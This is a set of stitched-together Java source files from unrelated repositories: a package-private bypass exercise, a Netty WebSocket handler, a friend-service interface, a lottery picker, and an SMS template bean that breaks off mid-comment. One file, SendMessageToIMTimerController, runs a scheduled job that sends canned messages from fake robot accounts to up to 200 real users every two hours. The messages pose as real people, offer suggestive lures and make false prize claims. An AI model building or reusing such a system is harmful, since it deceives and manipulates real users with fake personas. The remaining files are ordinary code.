System.out.println(createCaptureSystemOutputExtension().getClass().getName());
}
public static Object createCaptureSystemOutputExtension() {
// 因为CaptureSystemOutputExtension是包级私有的,因此无法直接创建它
// https://github.com/blindpirate/junit5-capture-system-output-extension/blob/4ee3aa0a0d9b2610b482e4571ecc33828c60248a/src/main/java/com/github/blindpirate/extensions/CaptureSystemOutputExtension.java#L44
// 想办法绕过这个限制,创建一个这样的实例。提示:你可以创建一些别的类和别的方法,并不一定非要在这个类中完成这件事。祝你好运!
return new CaptureSystemOutputExtension();
}
}
| hcsp/bypass-package-private | src/main/java/com/github/hcsp/encapsulation/Main.java |
65,492 | package com.sunrise.netty.studyapi.websocket;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.ChannelFuture;
import io.netty.channel.ChannelFutureListener;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.SimpleChannelInboundHandler;
import io.netty.handler.codec.http.*;
import io.netty.handler.codec.http.websocketx.*;
import io.netty.util.CharsetUtil;
import java.time.LocalDateTime;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
* @description:
* @version: 1.00
* @author: lzhaoyang
* @date: 2019/12/12 9:17 PM
*/
public class WebsocketServerHandler extends SimpleChannelInboundHandler<Object> {
private static final Logger logger = Logger.getLogger(WebsocketServerHandler.class.getName());
private WebSocketServerHandshaker webSocketServerHandshaker;
@Override
protected void channelRead0(ChannelHandlerContext ctx, Object msg) throws Exception {
//传统的HTTP请求
if (msg instanceof FullHttpRequest){
this.handleHttpRequest(ctx,(FullHttpRequest)msg);
}else if (msg instanceof WebSocketFrame){
this.handleWebsocketFrame(ctx,(WebSocketFrame) msg);
}
}
@Override
public void channelReadComplete(ChannelHandlerContext ctx) throws Exception {
ctx.flush();
}
//处理普通的HTTP请求
private void handleHttpRequest(ChannelHandlerContext ctx, FullHttpRequest msg) {
//需要注意的是,websocket在初次连接的时候发送的服务端的
//是一个普通的HTTP请求,在头部有Upgrade标示,用来给服务端升级协议用的
if (msg.uri().equals("/favicon.ico")){
return;
}
if (!msg.decoderResult().isSuccess()) {
//如果解码失败
this.sendHttpResonse(ctx, msg, new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.BAD_REQUEST));
return;
}
if (msg.decoderResult().isSuccess()){
//如果是头部有Upgrade标示
if (("websocket".equals(msg.headers().get("Upgrade")))){
//构造握手响应
WebSocketServerHandshakerFactory webSocketServerHandshakerFactory = new WebSocketServerHandshakerFactory(
"ws://localhost:8888/websocket", null, false
);
this.webSocketServerHandshaker = webSocketServerHandshakerFactory.newHandshaker(msg);
if (this.webSocketServerHandshaker == null) {
WebSocketServerHandshakerFactory.sendUnsupportedVersionResponse(ctx.channel());
} else {
this.webSocketServerHandshaker.handshake(ctx.channel(), msg);
}
}else{
//是普通的HTTP,则返回,祝你好运
DefaultFullHttpResponse okRep = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, HttpResponseStatus.OK);
this.sendHttpResonse(ctx,msg,okRep);
}
}
}
//处理websocket消息
private void handleWebsocketFrame(ChannelHandlerContext ctx, WebSocketFrame msg) {
//判断是否关闭链路的指令
if (msg instanceof CloseWebSocketFrame){
this.webSocketServerHandshaker.close(ctx.channel(),(CloseWebSocketFrame) msg.retain());
return;
}
//判断是否是ping信息
if (msg instanceof PingWebSocketFrame){
ctx.channel().write(new PongWebSocketFrame(msg.content().retain()));
}
//只处理文本消息,不支持二进制消息
if(!(msg instanceof TextWebSocketFrame)){
throw new UnsupportedOperationException(String.format("%s frame type unsupported",msg.getClass().getName()));
}
//返回消息
String text = ((TextWebSocketFrame) msg).text();
if (logger.isLoggable(Level.FINE)){
logger.fine(String.format("%s recieved %s",ctx.channel(),text));
}
ctx.channel().write(new TextWebSocketFrame(text+" : 欢迎访问netty websocket服务,当前时间是: "+ LocalDateTime.now().toString()));
}
private void sendHttpResonse(ChannelHandlerContext ctx, FullHttpRequest msg, DefaultFullHttpResponse defaultFullHttpResponse) {
//如果响应不是200
if (defaultFullHttpResponse.status().code() != 200){
ByteBuf byteBuf = Unpooled.copiedBuffer(defaultFullHttpResponse.status().toString(), CharsetUtil.UTF_8);
defaultFullHttpResponse.content().writeBytes(byteBuf);
byteBuf.release();
HttpUtil.setContentLength(defaultFullHttpResponse,defaultFullHttpResponse.content().readableBytes());
}
//响应是200 状态
if (defaultFullHttpResponse.status().code() == 200){
//获取访问的路径,给他写上祝福语 + 路径 返回回去
String uri = msg.uri();
ByteBuf byteBuf = Unpooled.copiedBuffer("你访问的路径是: "+uri, CharsetUtil.UTF_8);
defaultFullHttpResponse.content().writeBytes(byteBuf);
byteBuf.release();
HttpUtil.setContentLength(defaultFullHttpResponse,defaultFullHttpResponse.content().readableBytes());
defaultFullHttpResponse.headers().set("Content-Type","text/html; charset=utf-8");
logger.info("------>"+defaultFullHttpResponse.content().toString());
}
ChannelFuture channelFuture = ctx.channel().writeAndFlush(defaultFullHttpResponse);
//如果是非keep-alive
if(!HttpUtil.isKeepAlive(msg) || defaultFullHttpResponse.status().code() != 200){
channelFuture.addListener(ChannelFutureListener.CLOSE);
}
}
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {
cause.printStackTrace();
ctx.close();
}
}
| fireinrain/netty-guides | src/main/java/com/sunrise/netty/studyapi/websocket/WebsocketServerHandler.java |
65,493 | package com.busi.timerController;
import com.busi.entity.UserInfo;
import com.busi.iMUtils.IMTokenCacheBean;
import com.busi.iMUtils.IMUserUtils;
import com.busi.servive.UserInfoService;
import com.busi.utils.CommonUtils;
import com.busi.utils.Constants;
import com.busi.utils.RedisUtils;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.scheduling.annotation.Scheduled;
import org.springframework.stereotype.Component;
import java.util.*;
/**
* @program: ehome
* @description: 向环信用户发送消息
* @author: ZHaoJiaJie
* @create: 2019-01-17 10:58
*/
@Slf4j
@Component
public class SendMessageToIMTimerController {
@Autowired
RedisUtils redisUtils;
@Autowired
UserInfoService userInfoService;
private int count = 200;//给多少个用户发消息
String[] message = {"你好", "您好", "打扰了,请问你是新注册的吗?", "交个朋友吗?", "要进群吗?", "认识一下吗?", "猜猜我是谁?", "在吗?", "可以加我好友吗", "你玩过砸蛋吗?", "互加砸蛋吧", "邀请你进群啊",
"附近的人看到你的", "hello", "求聊天", "看你名字很熟悉", "管家推荐到我家的,算是缘分吧,聊聊吗", "要资源找我", "你好,在吗", "您是?", "不好意思,你是黄政吗?", "在忙什么?", "很高兴认识你", "How's everything?",
"What's new?", "Nice to meet you", "Hi", "在干什么呢?", "寂寞吗?", "为什么不理我呢", "做个朋友吧", "附近的人看到你的,你在附近吗?",
"在吗。",
"你好、在吗?",
"你好,咱们应该都算是云家园的新成员吧。呵呵。",
"你好,这个APP注重串门,有艳遇?",
"你好,今天串门了吗?",
"你好,今天偷到一枚金蛋,奖品是89家点。你偷到过吗?",
"你好,可以聊吗?",
"你好,在哪个城市呢?",
"你好,你觉得这个网行吗?人不多呀。",
"你好,能帮我喂一次我家鹦鹉吗,等金蛋,谢谢。",
"你好,我刚喂了你家鹦鹉,也帮我喂一次好吗。",
"你好,感谢朋友们多喂我家鹦鹉。",
"你好,谢谢来喂我家鹦鹉,金蛋奖品分你一半。",
"你好,只请大家多喂我家鹦鹉。近期不能聊天,谢谢。",
"你好,你说鹦鹉的奖品是真的吗?",
"你好,红包分享你得到过返回的红包吗?好像都忘记填写分享码。",
"你好,串门这个这个功能好玩,欢迎来多我家串门。",
"你好,串门不错,希望大家都有艳遇。呵呵。",
"你好,喂鹦鹉砸蛋赢奖品不错,今天砸到50块钱。你砸到过吗?",
"你好,能聊聊吗?",
"你好,这个网是不是又是个约炮神器呀。你觉得呢?呵呵。",
"你好,这个网对生活而言应该是不错的,但要看好老公老婆。你说呢。哈哈",
"你好,聊吗?算了,有事了。",
"你好,打招呼总没人理,你说是不是都睡着了呀。",
"好像又一个陌陌神器,好像比陌陌还厉害。是吧。呲牙",
"你好,我到你家串门,你在客厅真的能看到我吗。谢谢。",
"这个软件突出串门,你说是不是有什么暗示呀。呲牙",
"家公告不错,有什么需求随时发布,并可以通过串门对接,就是目前信息量不大。不过我当前没什么要发布的,你呢?",
"家门口的悬赏求助功能,钱好像什么时候都能提现,我不喜欢,你觉得呢?",
"靠。家公告这个功能好像是针对中介的,我就是干中介的,以后真能取缔中介?你说有这个可能吗?",
"串门串了一晚上也没碰到个能聊的,你呢?在吗?",
"串门喽!大家赶快都串起来呀。打个招呼,祝你好运。",
"大家都抢到过红包吗,抢到的话吱一声。谢谢。",
"创始元老级会员知道什么意思吗,未来真能赚到钱?跪求答案。",
"生活圈的概念应该比朋友圈的概念好,你觉得呢?都不理我呀。"};
/**
* Cron表达式的格式:秒 分 时 日 月 周 年(可选)。
* <p>
* “*”可用在所有字段中,表示对应时间域的每一个时刻,例如,*在分钟字段时,表示“每分钟”;
* <p>
* “?”字符:表示不确定的值 该字符只在日期和星期字段中使用,它通常指定为“无意义的值”,相当于点位符;
* <p>
* “,”字符:指定数个值 表达一个列表值,如在星期字段中使用“MON,WED,FRI”,则表示星期一,星期三和星期五;
* <p>
* “-”字符:指定一个值的范围 如在小时字段中使用“10-12”,则表示从10到12点,即10,11,12;
* <p>
* “/”字符:指定一个值的增加幅度。n/m表示从n开始,每次增加m
* <p>
* “L”字符:用在日表示一个月中的最后一天,用在周表示该月最后一个星期X
* <p>
* “W”字符:指定离给定日期最近的工作日(周一到周五)
* <p>
* “#”字符:表示该月第几个周X。6#3表示该月第3个周五
*
* @throws Exception
*/
@Scheduled(cron = "0 0 0/2 * * ?") // 每2小时执行一次
public void sendMessageToIMTimer() throws Exception {
try {
log.info("开始向环信用户随机发送消息...");
List list = userInfoService.findCondition();
List<Object> sendList = new ArrayList();
Map<String, UserInfo> map = new HashMap();
Random random = new Random();
if (list != null) {//给200个用户发信息
if (list.size() > count) {//从当做随机200个用户
for (int i = 0; i < list.size(); i++) {
int c = random.nextInt(list.size());
UserInfo userInfo = (UserInfo) list.get(c);
if (userInfo != null) {
if (map.size() < count) {
map.put(userInfo.getUserId() + "", userInfo);
} else {
break;
}
}
}
for (String key : map.keySet()) {
sendList.add(map.get(key));
}
} else {//全部发送信息
sendList = list;
}
for (int i = 0; i < sendList.size(); i++) {
int messageId = random.nextInt(message.length);//从预设消息中随机选取
long sendUserId = random.nextInt(40000) + 13870;//从机器人用户中随机选取
UserInfo receiveUsers = (UserInfo) sendList.get(i);
IMTokenCacheBean imTokenCacheBean = IMUserUtils.getToken();
Map<String, Object> sendUserMap = redisUtils.hmget(Constants.REDIS_KEY_USER + sendUserId);
// Map<String, Object> receiveUserMap = redisUtils.hmget(Constants.REDIS_KEY_USER + userInfo.getUserId());
UserInfo sendUser = (UserInfo) CommonUtils.mapToObject(sendUserMap, UserInfo.class);
if(sendUser==null){
sendUser = userInfoService.findUserInfo(sendUserId);
}
// UserInfo receiveUsers = (UserInfo) CommonUtils.mapToObject(receiveUserMap, UserInfo.class);
IMUserUtils.sendMessageToIMUser(message[messageId], sendUser, receiveUsers, imTokenCacheBean.getAccess_token(), 0);
Thread.sleep(1000);//等待1秒 避免环信并发压力太大 收不到消息
}
}
log.info("向环信用户随机发送消息操作完成,本次共向[" + sendList.size() + "]个用户发送消息");
} catch (Exception e) {
e.printStackTrace();
}
}
}
| yunjiayuan/ehome | ehome-quartz-login/src/main/java/com/busi/timerController/SendMessageToIMTimerController.java |
65,494 | package com.xiaonei.sns.platform.core.opt.ice;
import java.util.List;
import mop.hi.oce.domain.buddy.BuddyApply;
import mop.hi.oce.domain.buddy.BuddyApplyWithInfo;
import mop.hi.oce.domain.buddy.BuddyBlock;
import mop.hi.oce.domain.buddy.BuddyRelation;
/**
* 好友中心逻辑
*
* @author Michael([email protected])
*
*/
public interface IBuddyCoreAdapter extends IRegisterable {
/**
* 增加一个好友申请。 如果已经申请或者是被加黑名单,则什么都不做。 如果曾经是黑名单关系,则删除黑名单,并申请。
* 如果曾经是被申请,则接受申请。
*
* @param request
*/
void addApply(BuddyApplyWithInfo request, String ref);
/**
* 增加一批好友申请。 如果已经申请或者是被加黑名单,则什么都不做。 如果曾经是黑名单关系,则删除黑名单,并申请。
* 如果曾经是被申请,则接受申请。
*
* @param request
*/
void addApplyBatch(List<BuddyApplyWithInfo> requests, String ref);
/**
* 接受好友申请。 当且仅当曾经是申请关系,才会进行操作。 其他情况不做操作。
*
* @param request
*/
void acceptApply(BuddyApply request);
/**
* 接受所有好友申请。
*
* @param accepter
*/
void acceptAllApply(int accepter);
/**
* 拒绝好友申请。 当且仅当曾经是申请关系时,才会进行操作。 其他情况不操作。
*
* @param request
*/
void denyApply(BuddyApply request);
/**
* 拒绝所有好友申请。
*
* @param accepter
*/
void denyAllApply(int accepter);
/**
* 删除好友关系。 如果不是好友,则不操作。
*
* @param relation
*/
void removeFriend(BuddyRelation relation);
/**
* 增加黑名单 无论曾经是什么关系,一律删除改为黑名单。
*
* @param block
*/
void addBlock(BuddyBlock block);
/**
* 删除黑名单 当且仅当曾经是黑名单关系,才进行操作。
*
* @param block
*/
void removeBlock(BuddyBlock block);
/**
* 获取两者的关系。
*
* @param fromId
* @param toId
* @return
*/
BuddyRelation getRelation(int fromId, int toId);
/**
* 建议不要使用这个暴力的接口,祝你好运
*
* @param fromId
* @param toId
*/
void addFriend(int fromId, int toId);
/**
* 建议不要使用这个暴力的接口,祝你好运
*
* @param fromId
* @param toId
*/
void addFriendDirectly(int fromId, int toId);
/**
* 取host已经发送好友申请的列表(对方还没有接受的)<br>
* limit = -1 取全部
*
* @param hostId
* @param begin
* @param limit
* @return
*/
List<BuddyRelation> getApplyList(int hostId, int begin, int limit);
}
| RyanFu/old_rr_code | java_workplace/xiaonei-sns-core-trunk/src/main/java/com/xiaonei/sns/platform/core/opt/ice/IBuddyCoreAdapter.java |
65,495 | package com.ahogek.lotterydrawdemo;
import com.ahogek.lotterydrawdemo.entity.LotteryData;
import com.ahogek.lotterydrawdemo.repository.LotteryDataRepository;
import com.ahogek.lotterydrawdemo.service.LotteryDataService;
import com.alibaba.fastjson2.JSONArray;
import com.alibaba.fastjson2.JSONObject;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.boot.CommandLineRunner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
import org.springframework.transaction.annotation.EnableTransactionManagement;
import java.time.DayOfWeek;
import java.time.LocalDate;
import java.time.LocalDateTime;
import java.time.ZoneId;
import java.time.format.DateTimeFormatter;
import java.time.temporal.ChronoUnit;
import java.time.temporal.TemporalAdjusters;
import java.util.*;
@EnableTransactionManagement
@SpringBootApplication
public class LotteryDrawDemoApplication {
private static final Logger LOG = LoggerFactory.getLogger(LotteryDrawDemoApplication.class);
private final Random random = new Random();
public static void main(String[] args) {
SpringApplication.run(LotteryDrawDemoApplication.class, args);
}
private static void checkNewInputDrawNumber(LotteryDataRepository lotteryDateRepository, List<List<String>> inputNewDrawNumber) {
if (inputNewDrawNumber != null && !inputNewDrawNumber.isEmpty()) {
// 遍历 inputNewDrawNumber 集合
inputNewDrawNumber.forEach(itemNumbers -> {
// 遍历每一项,其中第一项为日期,先判断数据库有无该日期的数据,如果没有才执行操作
LocalDate date = LocalDate.parse(itemNumbers.getFirst(),
DateTimeFormatter.ofPattern("yyyy-MM-dd"));
if (lotteryDateRepository.countByLotteryDrawTime(date) == 0) {
List<LotteryData> insertList = new ArrayList<>();
for (int i = 1; i < itemNumbers.size(); i++) {
LotteryData lotteryDrawNumber = new LotteryData();
lotteryDrawNumber.setLotteryDrawNumber(itemNumbers.get(i));
lotteryDrawNumber.setLotteryDrawTime(date);
lotteryDrawNumber.setLotteryDrawNumberType(i - 1);
insertList.add(lotteryDrawNumber);
}
if (!insertList.isEmpty())
lotteryDateRepository.saveAll(insertList);
}
});
}
}
public static void groupAllData(List<List<String>> allData, List<LotteryData> all) {
for (int i = 0; i < 7; i++) {
int type = i;
allData.add(all.stream().filter(item -> type == item.getLotteryDrawNumberType())
.map(LotteryData::getLotteryDrawNumber).toList());
}
}
private static long getCount(LocalDate lastDate, LocalDate now) {
long count = 0;
LocalDate nextLotteryDate = lastDate.plusDays(1);
while (nextLotteryDate.isBefore(now) || (nextLotteryDate.isEqual(now) && LocalDateTime.now().getHour() >= 22)) {
if (nextLotteryDate.getDayOfWeek() == DayOfWeek.SATURDAY) {
nextLotteryDate = nextLotteryDate.with(TemporalAdjusters.next(DayOfWeek.MONDAY));
count++;
} else if (nextLotteryDate.getDayOfWeek() == DayOfWeek.MONDAY) {
nextLotteryDate = nextLotteryDate.with(TemporalAdjusters.next(DayOfWeek.WEDNESDAY));
count++;
} else if (nextLotteryDate.getDayOfWeek() == DayOfWeek.WEDNESDAY) {
nextLotteryDate = nextLotteryDate.with(TemporalAdjusters.next(DayOfWeek.SATURDAY));
count++;
} else {
nextLotteryDate = nextLotteryDate.plusDays(1);
}
}
return count;
}
@Bean
public CommandLineRunner getRandomLotteryNumber(LotteryDataService service, LotteryRequestManager request, LotteryDataRepository lotteryDateRepository) {
return args -> {
List<LotteryData> all = service.findAll();
if (all.isEmpty())
request.setData();
// 获取数据库中最新的一期数据的时间
LocalDate lastDate = lotteryDateRepository.findTopByOrderByLotteryDrawTimeDesc().getLotteryDrawTime();
// 根据但前时间判断 lastDate 是否是最新一期,彩票每周一 三 六开奖
LocalDate now = LocalDate.now();
if (ChronoUnit.DAYS.between(lastDate, now) >= 2) {
// 判断 lastDate 直到今天为止少了多少次开奖
long count = getCount(lastDate, now);
if (count > 0) {
// 根据 count 查询彩票网数据
JSONObject response = request.getNextPage(Math.toIntExact(count));
List<List<String>> inputNewDrawNumber = new ArrayList<>();
JSONArray list = response.getJSONObject("value").getJSONArray("list");
for (int i = 0; i < list.size(); i++) {
JSONObject data = list.getJSONObject(i);
String[] drawNumbers = data.getString("lotteryDrawResult").split(" ");
List<String> item = new ArrayList<>();
item.add(LocalDate.ofInstant(data.getDate("lotteryDrawTime").toInstant(),
ZoneId.systemDefault()).format(DateTimeFormatter.ofPattern("yyyy-MM-dd")));
item.addAll(Arrays.asList(drawNumbers).subList(0, 7));
inputNewDrawNumber.add(item);
}
inputNewDrawNumber = inputNewDrawNumber.reversed();
checkNewInputDrawNumber(lotteryDateRepository, inputNewDrawNumber);
}
}
List<String> result = new ArrayList<>((int) (7 / 0.75f + 1));
// 前区五个球
Set<String> front = new HashSet<>();
// 后区两个球
Set<String> back = new HashSet<>();
List<List<String>> allDataGroup = new ArrayList<>();
groupAllData(allDataGroup, all);
for (int i = 0; i < 7; i++) {
// 随机一个列表里的String
drawNumbers(i, allDataGroup, front, back);
}
// 分别排序前后组
front.stream().sorted().forEach(result::add);
back.stream().sorted().forEach(result::add);
LOG.info("随机摇奖号码为:{},祝你好运!", result);
};
}
public void drawNumbers(int i, List<List<String>> allDataGroup, Set<String> front, Set<String> back) {
if (i < 5) {
do {
int index = this.random.nextInt(allDataGroup.get(i).size());
front.add(allDataGroup.get(i).get(index));
} while (front.size() != i + 1);
} else {
do {
int index = this.random.nextInt(allDataGroup.get(i).size());
back.add(allDataGroup.get(i).get(index));
} while (back.size() != i - 5 + 1);
}
}
}
| AhogeK/lottery-draw-demo | src/main/java/com/ahogek/lotterydrawdemo/LotteryDrawDemoApplication.java |
65,496 | package com.zhiluo.android.yunpu.sms.jsonbean;
import java.util.List;
/**
* Created by Cheng on 2017/2/14.
*/
public class SMSJsonBean {
/**
* success : true
* code : null
* msg : 执行成功
* data : {"tempClassList":[{"GID":"94575fa9-1296-11e6-9174-1c872c481c7f","TC_ClassName":"新货到了","TC_ClassCode":"023","TC_Creator":null,
* "TC_Update":null,"TC_CreatorTime":null,"TC_UpdateTime":null,"TC_Group":3},{"GID":"945eb157-1296-11e6-9174-1c872c481c7f",
* "TC_ClassName":"买赠满送","TC_ClassCode":"024","TC_Creator":null,"TC_Update":null,"TC_CreatorTime":null,"TC_UpdateTime":null,"TC_Group":3},
* {"GID":"946b58af-1296-11e6-9174-1c872c481c7f","TC_ClassName":"降价了","TC_ClassCode":"025","TC_Creator":null,"TC_Update":null,
* "TC_CreatorTime":null,"TC_UpdateTime":null,"TC_Group":3},{"GID":"9472fb65-1296-11e6-9174-1c872c481c7f","TC_ClassName":"三八妇女节",
* "TC_ClassCode":"026","TC_Creator":null,"TC_Update":null,"TC_CreatorTime":null,"TC_UpdateTime":null,"TC_Group":3},
* {"GID":"b1206cd0-1296-11e6-9174-1c872c481c7f","TC_ClassName":"端午节","TC_ClassCode":"027","TC_Creator":null,"TC_Update":null,
* "TC_CreatorTime":null,"TC_UpdateTime":null,"TC_Group":3},{"GID":"b12774e1-1296-11e6-9174-1c872c481c7f","TC_ClassName":"中秋佳节",
* "TC_ClassCode":"028","TC_Creator":null,"TC_Update":null,"TC_CreatorTime":null,"TC_UpdateTime":null,"TC_Group":3},
* {"GID":"d9eb0e3b-10da-11e6-9174-1c872c481c7f","TC_ClassName":"周末祝福","TC_ClassCode":"018","TC_Creator":null,"TC_Update":null,
* "TC_CreatorTime":null,"TC_UpdateTime":null,"TC_Group":3},{"GID":"d9f44446-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日祝福",
* "TC_ClassCode":"019","TC_Creator":null,"TC_Update":null,"TC_CreatorTime":null,"TC_UpdateTime":null,"TC_Group":3},
* {"GID":"da076d47-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日促销","TC_ClassCode":"020","TC_Creator":null,"TC_Update":null,
* "TC_CreatorTime":null,"TC_UpdateTime":null,"TC_Group":3},{"GID":"da1dbf25-10da-11e6-9174-1c872c481c7f","TC_ClassName":"流失顾客挽回",
* "TC_ClassCode":"022","TC_Creator":null,"TC_Update":null,"TC_CreatorTime":null,"TC_UpdateTime":null,"TC_Group":3}],
* "tempManagerList":[{"GID":"3b292aa6-1299-11e6-9174-1c872c481c7f","TC_GID":"9472fb65-1296-11e6-9174-1c872c481c7f","TC_ClassName":"三八妇女节",
* "TC_ClassCode":"026","TM_Name":null,"TM_Content":"妇女节到,祝福魅力无敌,聪明伶俐;神采飞扬,常带笑意;端庄漂亮,青春靓丽;聪明赛孔明,英明如上帝的你,妇女节开心又快乐!","TM_Creator":null,
* "TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"3b2ea93d-1299-11e6-9174-1c872c481c7f",
* "TC_GID":"9472fb65-1296-11e6-9174-1c872c481c7f","TC_ClassName":"三八妇女节","TC_ClassCode":"026","TM_Name":null,
* "TM_Content":"微微的春风,轻轻的思念,淡淡的问候,处处的三八,远远的朋友,真诚的祝福,祝福久违的姐妹生活快乐,三八妇女节快乐!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"3b3a9c36-1299-11e6-9174-1c872c481c7f",
* "TC_GID":"9472fb65-1296-11e6-9174-1c872c481c7f","TC_ClassName":"三八妇女节","TC_ClassCode":"026","TM_Name":null,
* "TM_Content":"在三八妇女节来临之际,短信致以诚挚的问候:长期奋斗在厨房,奋斗在关心孩子,奋斗在工作阵地上的女性同胞,你们辛苦了,祝你们三八节快乐!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"3b496f3b-1299-11e6-9174-1c872c481c7f",
* "TC_GID":"9472fb65-1296-11e6-9174-1c872c481c7f","TC_ClassName":"三八妇女节","TC_ClassCode":"026","TM_Name":null,
* "TM_Content":"妇女节快乐女同胞们,走出家门,摆脱烦脑,尽情地潇潇洒一回,享受一回吧!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,
* "CY_GID":null,"TM_Group":3},{"GID":"3b507e5f-1299-11e6-9174-1c872c481c7f","TC_GID":"9472fb65-1296-11e6-9174-1c872c481c7f",
* "TC_ClassName":"三八妇女节","TC_ClassCode":"026","TM_Name":null,
* "TM_Content":"古往今来,后宫佳丽三千,杨贵妃却只有一个;印度能歌善舞才女无数,泰姬陵也只有一个。世间美女数不胜数,你却只有一个!提前祝你三八妇女节快乐!","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"3b64a0e5-1299-11e6-9174-1c872c481c7f",
* "TC_GID":"9472fb65-1296-11e6-9174-1c872c481c7f","TC_ClassName":"三八妇女节","TC_ClassCode":"026","TM_Name":null,
* "TM_Content":"女人如山,山清水秀,女人如水,水波潋滟,女人如风,风过无痕,女人如花,花开不败。3.8妇女节到了,祝你美丽无敌,青春永驻!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"3b6e5c42-1299-11e6-9174-1c872c481c7f",
* "TC_GID":"9472fb65-1296-11e6-9174-1c872c481c7f","TC_ClassName":"三八妇女节","TC_ClassCode":"026","TM_Name":null,
* "TM_Content":"三八妇女节,一个专属于你们的节日到了,祝福你们身手矫健,工作顺利,心情愉快,生活舒爽,家庭幸福,万事如意!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"3b76922b-1299-11e6-9174-1c872c481c7f",
* "TC_GID":"9472fb65-1296-11e6-9174-1c872c481c7f","TC_ClassName":"三八妇女节","TC_ClassCode":"026","TM_Name":null,
* "TM_Content":"三八三八,女生如花,尽情欢笑,快乐到家。魅力加倍,迷倒一把,温柔聪明,人见人夸。开心过节,你是老大,一生富贵,幸福如花!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"5447f7fb-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9eb0e3b-10da-11e6-9174-1c872c481c7f","TC_ClassName":"周末祝福","TC_ClassCode":"018","TM_Name":null,
* "TM_Content":"一周的忙忙碌碌,暂时告一段落,简简单单的生活,今天开始翻翻闲置的书卷,走访久违的朋友,守候家里的温馨。在此,送上我淡淡的问候,祝您周末快乐!","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"544e58fe-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9eb0e3b-10da-11e6-9174-1c872c481c7f","TC_ClassName":"周末祝福","TC_ClassCode":"018","TM_Name":null,
* "TM_Content":"工作辛苦,多休息。听听音乐,玩玩游戏。多吃蔬菜,少发脾气。要是无聊,来这happy。周末到了,祝你事事顺利!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"5453d1aa-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9eb0e3b-10da-11e6-9174-1c872c481c7f","TC_ClassName":"周末祝福","TC_ClassCode":"018","TM_Name":null,
* "TM_Content":"收拾起忙碌的心情,整理好久违的记忆,牢锁住工作的搅扰,忘记掉所有的压力。对花儿微笑,对小鸟问好。又一个周 末来到,短信一条,祝周末愉快! 别忘了来嗨皮哦~~ ","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"5459abfe-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9eb0e3b-10da-11e6-9174-1c872c481c7f","TC_ClassName":"周末祝福","TC_ClassCode":"018","TM_Name":null,"TM_Content":"也许祝福只是一种形式,
* 但却能给心灵带来温馨,我们都把关心发给彼此,一样的日子一样的心声:周末愉快!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,
* "TM_Group":3},{"GID":"545e70fb-0dd4-11e6-b99f-1c872c481c7f","TC_GID":"d9eb0e3b-10da-11e6-9174-1c872c481c7f","TC_ClassName":"周末祝福",
* "TC_ClassCode":"018","TM_Name":null,"TM_Content":"别因太多的忙碌冷淡了温柔,别因太多的追求湮没了享受,工作不是人生的全部,停停匆匆的脚步,请享受生活的赐福!周末愉快!","TM_Creator":null,
* "TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"5468b059-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9eb0e3b-10da-11e6-9174-1c872c481c7f","TC_ClassName":"周末祝福","TC_ClassCode":"018","TM_Name":null,
* "TM_Content":"生活工作忙和累,周末到来多睡睡。放松身心把梦追,身体充电别浪费。轻轻祝福敞心 扉,健康快乐都加倍!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"5470be67-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9eb0e3b-10da-11e6-9174-1c872c481c7f","TC_ClassName":"周末祝福","TC_ClassCode":"018","TM_Name":null,
* "TM_Content":"感谢天,感谢地,感谢命运让我们相遇;你的情,你的意,我将永远铭记在心里;提前祝福你周末满满的好心情。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"54771e27-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9eb0e3b-10da-11e6-9174-1c872c481c7f","TC_ClassName":"周末祝福","TC_ClassCode":"018","TM_Name":null,
